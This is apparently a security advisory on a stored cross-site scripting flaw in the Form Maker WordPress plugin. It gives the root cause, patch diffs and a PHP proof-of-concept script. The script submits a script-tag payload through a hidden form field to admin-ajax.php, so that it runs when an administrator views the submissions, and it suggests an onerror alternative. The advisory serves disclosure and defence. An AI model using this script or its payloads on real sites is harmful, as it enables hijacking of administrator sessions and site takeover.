Atomic Edge analysis of CVE-2026-1058:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Form Maker WordPress plugin. The vulnerability affects the plugin’s admin submissions view, allowing attackers to inject malicious scripts that execute when administrators view form submissions. The CVSS score of 7.1 reflects the high impact on administrative users who control the WordPress site.
Atomic Edge research identifies the root cause in the file form-maker/admin/views/Submissions_fm.php at line 758. The plugin processes hidden field values with the html_entity_decode() function but fails to apply proper output escaping. The vulnerable code directly echoes the decoded user input without sanitization. This occurs specifically when the field type is ‘type_hidden’ in the submissions display logic.
The exploitation method involves submitting a form containing a hidden field with an HTML entity-encoded JavaScript payload. Attackers can target any form created with the plugin. The payload uses entities like <script>alert(document.cookie)</script> which the html_entity_decode() function converts back to executable JavaScript. When an administrator views the submissions list in /wp-admin/admin.php?page=submissions_fm, the malicious script executes in their browser session.
The patch adds esc_html() wrapper around the html_entity_decode() output at line 758. This change ensures that any HTML entities decoded from user input are properly escaped before being rendered in the browser. The patch also adds esc_html() to the text field output at line 768 for consistency. The version numbers in form-maker.php update from 1.15.35 to 1.15.36 to reflect the security fix.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an administrator’s WordPress session. This can lead to complete site compromise through session hijacking, privilege escalation, backdoor installation, or content manipulation. The stored nature means a single malicious form submission affects all administrators who view the submissions page until the payload is removed.
--- a/form-maker/admin/views/Submissions_fm.php
+++ b/form-maker/admin/views/Submissions_fm.php
@@ -756,7 +756,7 @@
<?php
}
elseif ( $sorted_label_types[$h] == 'type_hidden' ) {
- echo html_entity_decode($element_value);
+ echo esc_html(html_entity_decode($element_value));
}
else {
/* Check for Stripe case */
@@ -765,7 +765,7 @@
<button class="wd-button button-primary" onclick="change_stripe_status(this); return false;"><?php _e('Capture', WDFMInstance(self::PLUGIN)->prefix); ?></button><img src="<?php echo WDFM()->plugin_url ?>/images/loading.gif" class="fm-capture-loading fm-hidden">
<?php
} else { ?>
- <p><?php echo $textdata['text']; ?></p>
+ <p><?php echo esc_html($textdata['text']); ?></p>
<?php
}
}
--- a/form-maker/form-maker.php
+++ b/form-maker/form-maker.php
@@ -3,7 +3,7 @@
* Plugin Name: Form Maker
* Plugin URI: https://10web.io/plugins/wordpress-form-maker/?utm_source=form_maker&utm_medium=free_plugin
* Description: This plugin is a modern and advanced tool for easy and fast creating of a WordPress Form. The backend interface is intuitive and user friendly which allows users far from scripting and programming to create WordPress Forms.
- * Version: 1.15.35
+ * Version: 1.15.36
* Author: 10Web Form Builder Team
* Author URI: https://10web.io/plugins/?utm_source=form_maker&utm_medium=free_plugin
* License: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
@@ -26,8 +26,8 @@
public $plugin_url = '';
public $front_urls = array();
public $main_file = '';
- public $plugin_version = '1.15.35';
- public $db_version = '2.15.35';
+ public $plugin_version = '1.15.36';
+ public $db_version = '2.15.36';
public $menu_postfix = '_fm';
public $plugin_postfix = '';
public $handle_prefix = 'fm';
--- a/form-maker/frontend/models/form_maker.php
+++ b/form-maker/frontend/models/form_maker.php
@@ -1852,10 +1852,11 @@
);
}
if ( $form->save_uploads == 1 ) {
- if ( !move_uploaded_file( $fileTemp, $upload_dir[ 'basedir' ] . '/' . $destination . '/' . $fileName ) ) {
- $this->run_stripe_cancel_hook( $form, $stripeToken, $id );
- return array( 'error' => true, 'group_id' => $group_id, 'message' => addslashes( __( 'Error, file cannot be moved.', WDFMInstance(self::PLUGIN)->prefix ) ) );
- }
+ $file_mime = mime_content_type($fileTemp);
+ if ( $file_mime === 'image/svg+xml' || !move_uploaded_file( $fileTemp, $upload_dir[ 'basedir' ] . '/' . $destination . '/' . $fileName ) ) {
+ $this->run_stripe_cancel_hook( $form, $stripeToken, $id );
+ return array( 'error' => true, 'group_id' => $group_id, 'message' => addslashes( __( 'Error, file cannot be moved.', WDFMInstance(self::PLUGIN)->prefix ) ) );
+ }
$value .= $upload_dir[ 'baseurl' ] . '/' . $destination . '/' . $fileName . '*@@url@@*';
$files[ 'tmp_name' ][ $file_key ] = '/' . $destination . '/' . $fileName;
$temp_file = array(
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1058 - Form Maker by 10Web <= 1.15.35 - Unauthenticated Stored Cross-Site Scripting via Hidden Field
<?php
/**
* Proof of Concept for CVE-2026-1058
* Targets Form Maker plugin <= 1.15.35
* Creates a form submission with XSS payload in hidden field
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
// Step 1: Find a Form Maker form on the target site
// We need to identify a form ID. This script assumes we know the form ID.
// In real exploitation, attackers would spider the site to find forms.
$form_id = 1; // CHANGE THIS to actual form ID
// Step 2: Construct the malicious payload
// The payload uses HTML entities that will be decoded by html_entity_decode()
$payload = '<script>alert(document.cookie)</script>';
// Alternative payload for stealth: <img src=x onerror=alert(document.cookie)>
// Step 3: Prepare submission data
// Form Maker uses specific field naming conventions
$post_data = [
'task' => 'form_maker_frontend_ajax',
'action' => 'form_maker_frontend_ajax',
'form_id' => $form_id,
// Hidden field must be named according to Form Maker's convention
// Typically: hidden_field_0, hidden_field_1, etc.
'hidden_field_0' => $payload,
// Include other required fields if the form has them
'nonce_field' => 'bypassed', // Nonce may be required depending on configuration
];
// Step 4: Send the malicious submission
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 5: Check if submission was successful
if ($http_code == 200 && strpos($response, 'success') !== false) {
echo "[+] Payload injected successfully.n";
echo "[+] When an administrator views form submissions at:n";
echo " $target_url/wp-admin/admin.php?page=submissions_fmn";
echo "[+] The XSS payload will execute in their browser.n";
} else {
echo "[-] Injection failed. HTTP Code: $http_coden";
echo "[-] Response: $responsen";
echo "[-] Possible reasons: Form ID incorrect, nonce required, or plugin not vulnerable.n";
}
?>